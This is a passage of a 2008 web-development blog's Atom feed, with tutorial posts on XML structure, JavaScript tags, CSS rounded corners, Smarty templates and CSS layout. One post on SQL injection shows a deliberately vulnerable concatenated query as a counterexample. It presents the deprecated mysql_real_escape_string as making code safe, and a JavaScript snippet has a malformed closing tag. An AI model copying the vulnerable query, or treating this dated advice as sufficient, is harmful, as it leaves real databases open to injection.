href='http://webnology.blogspot.com/2008/07/difference-between-css-and-xslt.html' title='The Difference Between CSS and XSLT'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8608290297938752572</id><published>2008-07-03T15:43:00.000-07:00</published><updated>2008-07-04T09:32:26.940-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><title type='text'>Anatomy of an XML Document</title><content type='html'>Whether you're writing XML from scratch, or writing a document from a pre-defined specification there is a standard layout for XML. Here is a standard XML document:&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;&amp;lt;workorder priority="high" datedue="09/30/2001"&amp;gt;&lt;br /&gt;  &amp;lt;submitter&amp;gt;&lt;br /&gt;    &amp;lt;name first="Jennifer" last="Kyrnin" /&amp;gt;&lt;br /&gt;    &amp;lt;email&amp;gt;html.guide@about.com&amp;lt;/email&amp;gt;&lt;br /&gt;    &amp;lt;account number="11001100" /&amp;gt;&lt;br /&gt;  &amp;lt;/submitter&amp;gt;&lt;br /&gt;  &amp;lt;project title="update aa051198.htm article"&amp;gt;&lt;br /&gt;    &amp;lt;url&amp;gt;http://webdesign.about.com/library/weekly/aa051198.htm&amp;lt;/url&amp;gt;&lt;br /&gt;    &amp;lt;description&amp;gt;&lt;br /&gt;    Please convert this article to the new article look and feel, with the side     navigation and information.&lt;br /&gt;    &amp;lt;/description&amp;gt;&lt;br /&gt;  &amp;lt;/project&amp;gt;&lt;br /&gt;&amp;lt;/workorder&amp;gt; &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Whether you're writing XML from scratch, or writing a document from a pre-defined specification there is a standard layout for XML. Here is a standard XML document:&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;&amp;lt;workorder priority="high" datedue="09/30/2001"&amp;gt;&lt;br /&gt;  &amp;lt;submitter&amp;gt;&lt;br /&gt;    &amp;lt;name first="Jennifer" last="Kyrnin" /&amp;gt;&lt;br /&gt;    &amp;lt;email&amp;gt;html.guide@about.com&amp;lt;/email&amp;gt;&lt;br /&gt;    &amp;lt;account number="11001100" /&amp;gt;&lt;br /&gt;  &amp;lt;/submitter&amp;gt;&lt;br /&gt;  &amp;lt;project title="update aa051198.htm article"&amp;gt;&lt;br /&gt;    &amp;lt;url&amp;gt;http://webdesign.about.com/library/weekly/aa051198.htm&amp;lt;/url&amp;gt;&lt;br /&gt;    &amp;lt;description&amp;gt;&lt;br /&gt;    Please convert this article to the new article look and feel, with the side     navigation and information.&lt;br /&gt;    &amp;lt;/description&amp;gt;&lt;br /&gt;  &amp;lt;/project&amp;gt;&lt;br /&gt;&amp;lt;/workorder&amp;gt; &lt;br /&gt;&lt;br /&gt;If you look closely at this markup, you will be able to determine its structure. The first part of the structure is the XML declaration, &amp;lt;?xml version="1.0"?&amp;gt;. Everything after that is an element of the XML document. The container element is &amp;lt;workorder&amp;gt;. This element contains all the other elements and surrounds them all. Inside of that element are the specialized elements that describe the rest of the document, such as &amp;lt;submitter&amp;gt;, &amp;lt;project&amp;gt;, and &amp;lt;account&amp;gt;. &lt;br /&gt;&lt;br /&gt;Here is a more visual tree view of the structure:&lt;br /&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_VHplZu23whg/SG1WyxY87DI/AAAAAAAAAB0/0XZVkDa4c-o/s320/treeview.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5218922973443714098" /&gt;&lt;br /&gt;&lt;br /&gt;Each of the elements are in red, with any attributes in dark blue, and contents in black.&lt;br /&gt;&lt;br /&gt;This tree can have many more branches and sub-branches. Each branch represents an element, which can have attributes or not, and content or not.&lt;br /&gt;&lt;br /&gt;The Prolog&lt;br /&gt;This is the most vital part of our document. It tells the browser or parser that this document is marked up in XML. This prolog is actually a part of HTML as well, but most HTML authors leave it out. In HTML the prolog might look like this:&lt;br /&gt;&amp;lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&amp;gt;&lt;br /&gt;This tells browser that this document will be using HTML 4.0 Transitional. The prolog in an XML document tells the computer that it's using XML and what version.&lt;br /&gt;&lt;br /&gt;But the prolog for an XML document can also contain:&lt;br /&gt;&lt;br /&gt;    * the DTD or schema being used&lt;br /&gt;    * declarations of special pieces of text&lt;br /&gt;    * text encoding&lt;br /&gt;    * XML processor instructions&lt;br /&gt;&lt;br /&gt;Elements&lt;br /&gt;After the prolog, come the structure of the XML document, the elements. The most important thing to remember is that there must be a container element for your XML document. In fact, your document can be made up of one element alone:&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;&amp;lt;topelement&amp;gt;&lt;br /&gt;This XML document is a well-formed document, but it only has one element. This is OK. It is still a correct XML document.&lt;br /&gt;&amp;lt;/topelement&amp;gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8608290297938752572?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8608290297938752572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8608290297938752572' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8608290297938752572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8608290297938752572'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/anatomy-of-xml-document.html' title='Anatomy of an XML Document'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_VHplZu23whg/SG1WyxY87DI/AAAAAAAAAB0/0XZVkDa4c-o/s72-c/treeview.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4366045470184150298</id><published>2008-07-03T15:30:00.000-07:00</published><updated>2008-07-04T09:33:48.234-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>How to add a javascripts to a web page</title><content type='html'>You can add a script anywhere inside the head or body sections of your document. However, to keep your document well structured there are some basic guidelines:&lt;br /&gt;&lt;br /&gt;    * Most scripts can go inside the document head. This keeps them out of the way of the main document content.&lt;br /&gt;    * If your script needs to run at a certain stage during page layout (for example, if it uses document.write to create content), it should be put at the correct stage of the document, almost always somewhere inside the document body. If the script is very small, then put it all where it will be used. If it is larger, then put it inside the head inside a function, and you can then call that function when you need it.&lt;br /&gt;    * If your script is used on more than one page, or if it is of any significant size, then put it in its own file, and load it in the document head. Not only will this help to keep the clutter of the document, but it will also help avoid potential syntax problems (I will cover these later). As an extra benefit, these can be used by multiple pages, allowing browsers to use their cache, and saving bandwidth for you and your visitors.&lt;br /&gt;&lt;span class="fullpost"&gt;You can add a script anywhere inside the head or body sections of your document. However, to keep your document well structured there are some basic guidelines:&lt;br /&gt;&lt;br /&gt;    * Most scripts can go inside the document head. This keeps them out of the way of the main document content.&lt;br /&gt;    * If your script needs to run at a certain stage during page layout (for example, if it uses document.write to create content), it should be put at the correct stage of the document, almost always somewhere inside the document body. If the script is very small, then put it all where it will be used. If it is larger, then put it inside the head inside a function, and you can then call that function when you need it.&lt;br /&gt;    * If your script is used on more than one page, or if it is of any significant size, then put it in its own file, and load it in the document head. Not only will this help to keep the clutter of the document, but it will also help avoid potential syntax problems (I will cover these later). As an extra benefit, these can be used by multiple pages, allowing browsers to use their cache, and saving bandwidth for you and your visitors.&lt;br /&gt;&lt;br /&gt;To insert JavaScript into a web page, use the &amp;lt;script&amp;gt; tag. You should use the type attribute to specify the type of script being used, which in the case of JavaScript is text/javascript. It is also possible to the language attribute to say what JavaScript version you are using. In practice, this number means very little to browsers. They may claim to support a specific version, but will have vastly different capabilities. All JavaScript supporting browsers currently in use will support a level of JavaScript equivalent to JavaScript 1.2 (represented as "javascript1.2") or higher, so this is what I will teach you in this tutorial.&lt;br /&gt;&lt;br /&gt;Browsers will generally choose an arbitrary version number that they will claim to support, and will run any script that has either no language version number, or a version equal to or lower than the one they claim to support. Since the language is so unreliable, you should generally omit this attribute, although it is common to see scripts using it. Your script can then detect if the browser is capable of running your script, and it can do this a lot more accurately than the version number can.&lt;br /&gt;&lt;br /&gt;This is an example of a script tag, used to include a script in your page:&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;//JavaScript&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;br /&gt;If your script is incapable of providing its own fallback, but it is needed to access the page, you should include support for non-JavaScript browsers by using:&lt;br /&gt;&amp;lt;noscript&amp;gt;&lt;br /&gt;  &lt;p&gt;This will not be displayed if JavaScript is enabled&lt;/p&gt;&lt;br /&gt;&amp;lt;/noscript&amp;gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4366045470184150298?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4366045470184150298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4366045470184150298' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4366045470184150298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4366045470184150298'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/how-to-add-javascripts-to-web-page.html' title='How to add a javascripts to a web page'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5367739839310701744</id><published>2008-07-03T14:22:00.000-07:00</published><updated>2008-07-03T15:16:01.525-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Making rounded cornders in CSS</title><content type='html'>Just wanted to let you know the dotted CSS borders trick and the subject of rounded corners in CSS came up so thats been showed in this method. There are other ways that its done, but the other methods always require lots of complex HTML and CSS. Just figure that lots of nested divs aren’t much better than using a table, so this way doesn’t require much in the way of HTML or CSS. Here’s how it cane be done.&lt;br /&gt;&lt;br /&gt;Create four images for your corners. Most graphics programs have a tool that will create rounded-off squares. square will be used here…&lt;br /&gt;&lt;br /&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_VHplZu23whg/SG1ESi0yFZI/AAAAAAAAABM/c5qOiFDqhNM/s320/square.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5218902628568798610" /&gt;&lt;br /&gt;&lt;br /&gt;…and the corners are cut off of for the four images&lt;br /&gt;&lt;br /&gt;In the spot where the box to show up is wanted, just create a container div to hold the box, a div for the top row and a div for the bottom row. Between the top and bottom rows, the content should be added. In the top and bottom row divs, add the left corner image and set the inline style to read display: none;. This makes the image invisible unless , make it visible through the stylesheet. That way, it can hide the effect from incompatible browsers by not showing them the stylesheet.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&amp;lt;div class="roundcont"&amp;gt;&lt;br /&gt;   &amp;lt;div class="roundtop"&amp;gt;&lt;br /&gt;  &amp;lt;img src="tl.gif" alt="" &lt;br /&gt;  width="15" height="15" class="corner" &lt;br /&gt;  style="display: none" /&amp;gt;&lt;br /&gt;   &amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;   &amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consectetur adipisicing &lt;br /&gt;   elit, sed do eiusmod tempor incididunt ut labore et &lt;br /&gt;   dolore magna aliqua. Ut enim ad minim veniam, quis &lt;br /&gt;   nostrud exercitation ullamco laboris nisi ut aliquip &lt;br /&gt;   ex ea commodo consequat. Duis aute irure dolor in &lt;br /&gt;   reprehenderit in voluptate velit esse cillum dolore eu &lt;br /&gt;   fugiat nulla pariatur. Excepteur sint occaecat cupidatat &lt;br /&gt;   non proident, sunt in culpa qui officia deserunt mollit &lt;br /&gt;   anim id est laborum.&amp;lt;/p&amp;gt;&lt;br /&gt;  &lt;br /&gt;   &amp;lt;div class="roundbottom"&amp;gt;&lt;br /&gt;  &amp;lt;img src="bl.gif" alt="" &lt;br /&gt;  width="15" height="15" class="corner" &lt;br /&gt;  style="display: none" /&amp;gt;&lt;br /&gt;   &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt; &lt;/span&gt; &lt;br /&gt;&lt;br /&gt;The CSS sets the width and background color of the container object and the color of the text inside. The margins on interior paragraphs are set so that the text doesn’t sit right up against the edge of the box.&lt;br /&gt;&lt;br /&gt;Then the top and bottom divs are given a background image that contains the right corner images and the left corner images from the HTML code are enabled.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;.roundcont {&lt;br /&gt; width: 250px;&lt;br /&gt; background-color: #f90;&lt;br /&gt; color: #fff;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.roundcont p {&lt;br /&gt; margin: 0 10px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.roundtop { &lt;br /&gt; background: url(tr.gif) no-repeat top right; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.roundbottom {&lt;br /&gt; background: url(br.gif) no-repeat top right; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;img.corner {&lt;br /&gt;   width: 15px;&lt;br /&gt;   height: 15px;&lt;br /&gt;   border: none;&lt;br /&gt;   display: block !important;&lt;br /&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5367739839310701744?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5367739839310701744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5367739839310701744' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5367739839310701744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5367739839310701744'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/making-rounded-cornders-in-css.html' title='Making rounded cornders in CSS'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_VHplZu23whg/SG1ESi0yFZI/AAAAAAAAABM/c5qOiFDqhNM/s72-c/square.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8833495686934678069</id><published>2008-06-12T12:31:00.000-07:00</published><updated>2008-07-03T15:37:36.344-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='smarty'/><title type='text'>Smarty - The successfull PHP Template Engine</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;strong style="font-family: verdana;"&gt;&lt;a rel="external" class="sublink" href="http://smarty.php.net/"&gt;Smarty&lt;/a&gt; is a PHP template engine written by Monte Ohrt and Andrei Zmievski. Yet another template engine you say? The authors (and I too) would disagree. Smarty is different from the rest of the pack. What differentiates Smarty from other template engines like FastTemplate and patTemplate is that Smarty compiles your templates into PHP scripts, eliminating the overhead incurred in parsing the templates every time they're accessed. This makes Smarty very scalable for large applications and high-traffic Websites ...and if that didn't make any sense to you, just take it that Smarty is very fast and would work well in stressful and high-traffic conditions!&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;The Smarty template engine has several other outstanding features besides template compilation, and we'll discuss these a little later. But first, let's de-mystify template compilation...&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;Template Compilation Explained &lt;/h5&gt;    &lt;p&gt;What does 'compilation of templates' mean, anyway? What do Web pages have to do with compiling? Isn't compiling something C++ and JAVA programmers do? Yes - but this is a different sort of compilation. &lt;/p&gt;  &lt;p&gt;Smarty parses your templates and creates PHP scripts from them (instead of binaries, as in general programming). Then, when your Web page is viewed, Smarty reads from these PHP scripts instead of pulling the templates themselves, which saves the work of having to parse your templates again. Smarty is smart about when to compile, too: it only re-compiles your templates when you make changes to them, so you don't have to worry about manually compiling the templates (this is similar to JSP, if you're aware of how it works). &lt;/p&gt;  &lt;p&gt;The good thing about this is that you don't even have to know the PHP scripts are there, nor how compiling works. It's all hidden from view, so if you employ template designers to work on your templates, they (or you, if you design your own templates) don't have to know that Smarty is a 'compiling template engine'.&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Caching&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;Smarty also features built-in caching of your template outputs. Smarty caches the output of the template contents, saving the overhead expense involved in retrieving your data from a data source. This data source would usually be external and slow, and is often the bottleneck in your application, like a remote database. Smarty caches the output of your template with this data from your data source, and saves you from having to connect to the database every time your Web page is accessed. If you have a slow-responding database server or are making multiple queries to your database, this caching feature would greatly improve the performance and responsiveness of your Web pages. &lt;/p&gt;  &lt;p&gt;Of course, there are cases when you don't actually want your template output to be cached, for instance, a stock ticker or situation where you constantly make changes to your database, which need to be immediately reflected on your Web pages. No problem! Smarty is again smart enough to allow you to specify what should or should not be cached. &lt;/p&gt;  &lt;p&gt;In fact, you can have cached and un-cached portions on the same template page, as Smarty allows you to specify exactly what you don't want cached (like that stock ticker at the bottom of the page) and what you do want cached (such as your navigation bar, which is seldom changed). You can also set the cache expiry time so that your template output is cached only for a specific length of time. You can thus achieve the middle-ground between having up-to-date dynamic content and quick-to-load Web pages. &lt;/p&gt;  &lt;p&gt;One point to note (and which the authors of Smarty are quick to point out) is that this caching functionality is totally different from that of Zend Cache, PHP Accelerator and the like. Caching tools like PHP Accelerator cache the complied bytecode of your PHP scripts, whereas Smarty caches the output of your templates. As such, Smarty can work hand in hand with Zend Cache, where Zend Cache would cache the PHP scripts that Smarty creates from your templates. This makes for excellent performance, as evidenced by &lt;a rel="external" class="sublink" href="http://www.phpinsider.com/benchmarks_phemplate/"&gt;benchmarks&lt;/a&gt;. To quote the authors: &lt;/p&gt;  &lt;q&gt;&lt;em&gt;"Smarty's performance _really_ excels in combination with a PHP accelerator."&lt;/em&gt; &lt;/q&gt;    &lt;h5&gt;Variable Modifiers &lt;/h5&gt;    &lt;p&gt;Smarty also provides variable modifiers, which, as the name implies, allow you to modify the contents of a variable. You can do things like uppercase a string (e.g.&lt;code&gt;{$title|upper}&lt;/code&gt; which would convert your &lt;code&gt;$title &lt;/code&gt;into all uppercase characters), truncate a string (e.g. &lt;code&gt;{$content|truncate:30} &lt;/code&gt;which would allow you to display the first 30 characters of &lt;code&gt;$content &lt;/code&gt;and follow that with '&lt;code&gt;...&lt;/code&gt;', particularly useful for displaying email or forum topic previews) or even use regular expressions to search and replace a string (e.g.&lt;code&gt;{$article|regex_replace:"/bad word/":"***"}&lt;/code&gt; which would replace all occurrences of '&lt;code&gt;bad word&lt;/code&gt;' in &lt;code&gt;$article&lt;/code&gt; with '&lt;code&gt;***&lt;/code&gt;'). &lt;/p&gt;  &lt;p&gt;Variable modifiers give your template designers the ability to modify your template variables without being confused by those funny characters we programmers so like to use. This sanitized method of 'programming' gives your template designers greater control over the formatting of your template variable, though they would need to know the variable modifiers available to them. It is still, without doubt, a useful feature, as the syntax is kept simple and is &lt;a href="http://www.sitepoint.com/glossary.php?q=A#term_61" class="glossary" title="Accessibility deals with the issues of making online content available for experience, enjoyment, and use by all visitors, including those who do not fit the standard &amp;quot;Web user&amp;quot; mould."&gt;accessible&lt;/a&gt; to even non-programmers. &lt;/p&gt;  &lt;h5&gt;Template Functions &lt;/h5&gt;    &lt;p&gt;Smarty provides built-in and custom functions for use in your templates. These functions are like the API of Smarty templates, except that custom functions can be modified but not built-in functions. Functions allow you to do things like program conditional output (using &lt;code&gt;if&lt;/code&gt; statements), perform iteration with dynamic loops (using &lt;code&gt;foreach&lt;/code&gt; or &lt;code&gt;section&lt;/code&gt;), load config files, cycle though a set of values (useful for alternating table row colors), keep a counter (useful for numbering list data), and much more. &lt;/p&gt;  &lt;p&gt;It's particularly of use to those of us generating Web pages with content from databases are the looping functions (section and foreach), which you can use to loop over and display a result set. &lt;/p&gt;&lt;br /&gt;&lt;h5&gt;Filters &lt;/h5&gt;    &lt;p&gt;Smarty allows you to specify ('&lt;code&gt;register&lt;/code&gt;' or '&lt;code&gt;load&lt;/code&gt;' actually) filters through which you can run your templates before or after they are compiled. Prefilters are functions that your templates are run through before they're compiled; postfilters after; and output filters, upon the template output as it is requested. &lt;/p&gt;  &lt;p&gt;'Why filters?' you say. Prefilters allow you to do things like removing unwanted comments (such as those created by Dreamweaver) and ensuring content in the templates you don't want does not go through to the compiler. Postfilters let you add additional information to your templates, such as the template creation date (as a comment) after they're compiled. Output filters give you the ability to modify your template output, allowing you to do things like obfuscating email addresses on your Web page to protect against spambots (using a &lt;code&gt;preg_replace()&lt;/code&gt;).&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;h5&gt;Config Files &lt;/h5&gt;    &lt;p&gt;Config files are configuration files where you can store global template variables. This allows you to store variables that should affect every template (i.e. global variables) in a central location. A good example of such a variable would be the color scheme for your templates. Your template designers only have to change the values in the config file should a color scheme revamp be required. This saves them suffering through the painful alternative of going through every individual template to change the colors. &lt;/p&gt;  &lt;p&gt;Config files also allow for sections, which are not unlike those in .ini files. The section names are enclosed in brackets (e.g. &lt;code&gt;[welcome_page]&lt;/code&gt;) and are only loaded upon request. Anything that's not in a section is globally available (upon a call to the &lt;code&gt;config_load&lt;/code&gt; function). &lt;/p&gt;  &lt;h5&gt;Plug-ins &lt;/h5&gt;    &lt;p&gt;The Smarty plug-in architecture was introduced in version 2.0 and allows you to customize Smarty to suit your purposes (however grand or nefarious). The prefilters, postfilters and output filters I discussed earlier are just some of the plug-in types available to the customizer. Other plug-in types are the modifier, block, compiler, resource and insert types. &lt;/p&gt;  &lt;p&gt;With plug-ins, you can create your own template functions, variable modifiers and filters. You can even change the data source you want Smarty to read from (the default is from flat files), using a resource plug-in. With a resource plug-in, you can save your templates in a database, and retrieve them using sockets (or any other method you use to access templates with &lt;a href="http://www.sitepoint.com/glossary.php?q=P#term_1" class="glossary" title="PHP, or Hypertext Preprocessor, is an open source, server-side programming language."&gt;PHP&lt;/a&gt;. This means you can access just about any source). &lt;/p&gt;  &lt;h5&gt;Conclusion &lt;/h5&gt;    &lt;p&gt;Smarty is a quality template engine and one you should definitely consider, should you be on the lookout for a PHP version. &lt;/p&gt;  &lt;p&gt;Combine Smarty's template compilation and PHP's inherent efficiency in generating Web pages, and you've got yourself a winner in the speed race. Smarty also offers extensive functionality, including template functions and variable modifiers, which can be extended using a well-designed plug-in architecture. &lt;/p&gt;  &lt;p&gt;All that speed and functionality doesn't come at the price of &lt;a href="http://www.sitepoint.com/glossary.php?q=U#term_60" class="glossary" title="Usability refers to the ease with which a user can use an interface to achieve their goals."&gt;usability&lt;/a&gt;: the learning curve is no steeper than that of other template engines. Smarty is also supplemented with excellent documentation that's available online and for download at the &lt;a rel="external" class="sublink" href="http://smarty.php.net/"&gt;Smarty Website&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;Andrei Zmievski, one of the authors, works on the PHP development team too, and he keeps Smarty's development closely tied to that of PHP. So you can be confident that the latest changes to PHP (like the recent register_globals issue in PHP 4.2.0) will be supported by Smarty.&lt;/p&gt;&lt;p&gt;accessible&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8833495686934678069?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8833495686934678069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8833495686934678069' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8833495686934678069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8833495686934678069'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/06/smarty-successfull-php-template-engine.html' title='Smarty - The successfull PHP Template Engine'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1414191998507813361</id><published>2008-05-02T11:20:00.000-07:00</published><updated>2008-07-03T15:39:47.456-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Protecting Your PHP/MySQL Queries from SQL Injection</title><content type='html'>&lt;p style="font-family: verdana;" class="storycontent"&gt;SQL injection is a serious concern for webmasters, as an experienced attacker can use this hacking technique to gain access to sensitive data and/or potentially cripple your database. If you haven’t secured your applications, I implore you to get yourself familiar with the following method and grind it into your coding routine. One unsafe query can result in a nightmare for you or your client.&lt;/p&gt; &lt;p style="font-family: verdana;" class="storycontent"&gt;I’ve read through a lot of guides, and they tend to over complicate this, so I’ll be as straight forward as possible. In PHP the easiest way is to pass your data through the &lt;a href="http://www.php.net/mysql_real_escape_string"&gt;mysql_real_escape_string&lt;/a&gt; function. By escaping special characters on fields where the user can manipulate the database, you will avoid being vulnerable. Take a look below at the example of what to do and what not to do.&lt;/p&gt;&lt;div style="font-family: verdana;" class="storycontent"&gt;  &lt;pre&gt;// This is a vulnerable query.&lt;br /&gt;&lt;span&gt;$&lt;/span&gt;query = "SELECT * FROM products WHERE name='&lt;span&gt;$&lt;/span&gt;productname'";&lt;br /&gt;mysql_query(&lt;span&gt;$&lt;/span&gt;query);&lt;br /&gt;// This query is more secure&lt;br /&gt;&lt;span&gt;$&lt;/span&gt;query = sprintf("SELECT * FROM products WHERE name='%s'",&lt;br /&gt;mysql_real_escape_string(&lt;span&gt;$&lt;/span&gt;productname));&lt;br /&gt;mysql_query(&lt;span&gt;$&lt;/span&gt;query); &lt;/pre&gt;&lt;/div&gt; &lt;p style="font-family: verdana;" class="storycontent"&gt;Since I primarily code in PHP, I can’t confidently provide techniques for other programming languages. The most important part of protecting yourself is stopping users from being able to pass unaltered database manipulative special characters, like single quotes.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1414191998507813361?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1414191998507813361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1414191998507813361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1414191998507813361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1414191998507813361'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/05/protecting-your-phpmysql-queries-from.html' title='Protecting Your PHP/MySQL Queries from SQL Injection'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1644701393081725918</id><published>2008-05-02T11:14:00.000-07:00</published><updated>2008-07-03T15:40:20.526-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>CSS Controlled Web Design - Tables are for sitting at...</title><content type='html'>&lt;p style="font-family: verdana;"&gt;By now, most web designers are aware of the many benefits of using CSS (&lt;a target="_blank" href="http://www.w3.org/Style/CSS/"&gt;Cascading Style Sheets&lt;/a&gt;) to control the formatting and appearance of text elements within their web pages.&lt;br /&gt; Indeed, if applied as outlined in one of my articles from 2006 (&lt;a href="http://www.goarticles.com/cgi-bin/showa.cgi?C=278004"&gt; CSS - Weight-Loss for your Code&lt;/a&gt;), Cascading Style Sheets can substantially cut down the amount of code needed to present a web page in a polished and professional manner. &lt;/p&gt;&lt;h3 style="font-family: verdana;"&gt; What few designers realise however, is that CSS is capable of so much more than just handling a page's text formatting.&lt;/h3&gt; &lt;p style="font-family: verdana;"&gt; If used to its fullest capability, the Style Sheet is capable of controlling just about every aspect of page layout and presentation, even to 